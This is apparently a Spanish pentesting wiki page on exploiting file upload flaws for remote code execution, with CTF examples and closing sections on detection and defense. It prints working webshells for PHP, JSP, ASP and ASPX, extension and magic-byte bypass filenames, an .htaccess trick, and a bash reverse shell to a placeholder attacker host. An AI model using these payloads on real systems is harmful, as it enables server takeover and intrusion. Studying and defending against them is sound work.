the_open_door
café
ESEN
← Volver al índice

File Upload to RCE

ATT&CKT1190
Arsenal completo de comandos en la cheatsheet

Cuando una aplicación web permite subir ficheros y no valida bien qué se sube ni dónde acaba, un atacante puede colocar un fichero ejecutable por el servidor (típicamente un .php si el backend es PHP) y luego pedirlo por HTTP para que el servidor lo ejecute. El resultado es ejecución remota de comandos (RCE) con los privilegios del proceso web (a menudo www-data). Casi todo el trabajo es saltarse la validación: extensión, Content-Type, magic bytes o el directorio de destino.

Webshells por lenguaje

El payload mínimo es una webshell que ejecuta lo que le llegue por un parámetro. Según el stack:

<?php system($_GET['cmd']); ?>                       // PHP
<?php echo shell_exec($_GET['c']); ?>                // PHP (variante)
<% Runtime.getRuntime().exec(request.getParameter("c")); %>     <!-- JSP -->
<% eval request("c") %>                                          <!-- classic ASP -->
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %>   <!-- ASPX -->

Bypass de validación de extensión

Si filtran .php, se prueban variantes hasta que una se sirve como PHP:

shell.phtml   shell.php3   shell.php4   shell.php5   shell.php7   shell.pht   shell.phar
shell.pHp                         # mayus/minus (filtro sensible a caso)
shell.php.jpg                     # doble extension (si toma la primera)
shell.jpg.php                     # doble extension (si toma la ultima)
shell.php%00.jpg                  # null byte (PHP/librerias antiguas)
shell.php.                        # punto final / espacio final (Windows los recorta)
shell.php;.jpg                    # punto y coma (viejo IIS)
shell.php:.jpg                    # ADS de NTFS (IIS)
shell.php/                        # barra final

Bypass por Content-Type y magic bytes

Si validan el tipo declarado o el contenido, se falsea:

# en el multipart, cambiar el Content-Type de la parte del fichero
Content-Type: image/png            # aunque el contenido sea PHP

# anteponer los magic bytes de una imagen real y meter el PHP despues
GIF89a;<?php system($_GET['cmd']); ?>          # cabecera GIF valida + codigo PHP

Ver bypass por Content-Type y bypass por magic bytes.

Truco .htaccess / web.config

Si solo se pueden subir extensiones "inofensivas", a veces se sube un .htaccess (Apache) que hace ejecutar como PHP una extensión permitida, o un web.config (IIS):

# .htaccess subido al directorio: trata los .jpg como PHP
AddType application/x-httpd-php .jpg

Caso sin autenticación

En los casos más graves la subida no requiere autenticación, como el fallo bigUpload de Chamilo LMS, que acepta ficheros en bigUpload.php?action=post-unsupported y los deja en un directorio público files/:

curl 'http://lms.permx.htb/.../bigupload/files/webshell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

De webshell a reverse shell

nc -lvnp <lport>                                    # listener local
# cmd= (URL-encoded): bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
curl 'http://<ip>/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<lhost>%2F<lport>%200%3E%261%27'

Cómo detectarlo. El ataque tiene dos momentos muy visibles. La subida es una petición POST multipart con un fichero de extensión ejecutable (.php, .phtml, .jsp, .aspx) o con doble extensión (.php.jpg), marcable por un WAF. La ejecución es lo más delator: un GET a un fichero recién subido bajo uploads//files/ seguido de parámetros como ?cmd=id, y en el log de acceso ese fichero no existía antes. Del lado del host, la firma de oro es el linaje de procesos: www-data/apache engendrando sh/bash/nc/id, algo que un servidor web sano no hace. Un FIM que vigile el directorio de subidas alerta en cuanto aparece un .php (o un .htaccess) nuevo. La reverse shell posterior añade una conexión saliente desde el proceso web.

Defensa. Validar el tipo de fichero por contenido y no solo por extensión (con lista blanca, no negra), almacenar lo subido fuera de la raíz web (o en un dominio sin ejecución de scripts), renombrar a un nombre aleatorio sin extensión peligrosa, prohibir .htaccess/web.config en el directorio de subidas y mantener el software de terceros actualizado. Suele combinarse con el descubrimiento del subdominio que aloja la aplicación vulnerable y con la subida vía WebDAV (PUT + MOVE).

Herramientasgobustercurlffufferoxbusterweevely

Máquinas donde se aplica